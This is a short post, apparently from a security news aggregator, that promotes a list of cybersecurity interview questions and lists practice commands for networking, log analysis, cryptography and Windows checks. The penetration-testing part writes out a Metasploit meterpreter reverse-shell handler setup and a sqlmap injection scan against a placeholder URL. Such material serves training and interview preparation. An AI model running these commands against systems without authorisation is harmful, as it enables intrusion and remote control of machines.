IT Security Job Interview Questions

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Looking to break into cybersecurity or sharpen your skills? Here’s a list of 200 IT Security interview questions to help you prepare! 🚀

📌 Topics covered:

🔹 Network Security

🔹 Penetration Testing

🔹 SOC Analysis

🔹 Security Frameworks

🔹 Cryptography & more!

You Should Know:

Preparing for a cybersecurity interview requires hands-on practice with key tools and commands. Below are essential commands and steps to reinforce your knowledge:

Network Security:

 Check open ports using netstat 
netstat -tuln

Scan for open ports with nmap 
nmap -sV <target_IP>

Monitor network traffic with tcpdump 
tcpdump -i eth0 -n 'tcp port 80' 

Penetration Testing:

 Run a basic Metasploit exploit 
msfconsole 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LHOST <your_IP> 
set LPORT 4444 
exploit

SQL Injection testing with SQLmap 
sqlmap -u "http://example.com/page?id=1" --dbs 

SOC Analysis (SIEM & Logs):

 Search for failed SSH attempts in auth logs 
grep "Failed password" /var/log/auth.log

Analyze suspicious processes 
ps aux | grep -i "malicious_script" 

Cryptography:

 Generate SHA-256 hash 
echo -n "secret" | sha256sum

Encrypt a file with OpenSSL 
openssl enc -aes-256-cbc -salt -in file.txt -out file.enc 

Windows Security:

 Check active connections 
netstat -ano

List scheduled tasks (malware persistence check) 
schtasks /query /fo LIST /v 

What Undercode Say:

Mastering cybersecurity interviews goes beyond theory—practice these commands to demonstrate hands-on expertise. Employers value candidates who can apply knowledge in real-world scenarios.

🔗 Further Reading:

Expected Output:

A structured, actionable guide combining interview prep with practical commands for cybersecurity roles.

References:

Reported By: Alexrweyemamu 200 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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